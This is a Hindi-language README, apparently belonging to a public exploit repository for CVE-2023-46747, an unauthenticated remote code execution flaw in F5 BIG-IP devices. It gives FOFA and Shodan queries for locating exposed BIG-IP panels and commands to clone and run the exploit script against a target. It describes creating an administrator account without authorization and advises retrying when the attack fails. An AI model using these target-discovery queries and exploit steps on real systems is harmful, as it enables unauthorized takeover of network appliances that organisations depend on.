भेद्यता विवरण

fofa：

(title="BIG-IP®" || icon_hash="-335242539")

shodan

title:"BIG-IP®"

प्रभावित संस्करण

https://my.f5.com/manage/s/article/K000137353

भेद्यता पुनरुत्पादन

1. इस समय, यहां उपयोगकर्ता केवल admin है:

2. स्क्रिप्ट निष्पादित करें:

git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git
cd CVE-2023-46747-RCE
pip install -r requirements.txt
python CVE-2023-46747-RCE.py -u https://192.168.161.190
# python CVE-2023-46747-RCE.py -u https://192.168.161.190 -p http://127.0.0.1:7890

कमांड सफलतापूर्वक निष्पादित हुआ:

3. यहां बिना प्राधिकरण के एक नया उपयोगकर्ता सफलतापूर्वक बनाया गया:

कमी

कुछ संस्करणों में शोषण विफल हो जाता है, संदर्भ: https://twitter.com/joel_land/status/1729147886615818732.

प्रश्नोत्तर

1. प्रश्न: टोकन प्राप्ति विफल?
   उत्तर: यह नहीं कहा जा सकता कि परीक्षण साइट में कोई भेद्यता नहीं होनी चाहिए, क्योंकि बिना प्राधिकरण के उपयोगकर्ता बनाना 100% सफल नहीं है। कभी-कभी कुछ कारणों से पहले चरण में आप उपयोगकर्ता नहीं बनाते, इसलिए दूसरे चरण में टोकन प्राप्त नहीं किया जा सकता। इसलिए, मेरा सुझाव है कि कुछ और बार प्रयास करें। यदि यह काम नहीं करता है, तो इसका मतलब हो सकता है कि वास्तव में कोई भेद्यता नहीं है।

अलग बात

आप F5 BIG-IP संस्करण जानकारी एकत्र करने के लिए इस स्क्रिप्ट https://github.com/BishopFox/bigip-scanner का उपयोग कर सकते हैं। यह बहुत अच्छा है!

संदर्भ

https://github.com/projectdiscovery/nuclei-templates/pull/8500
https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg
https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747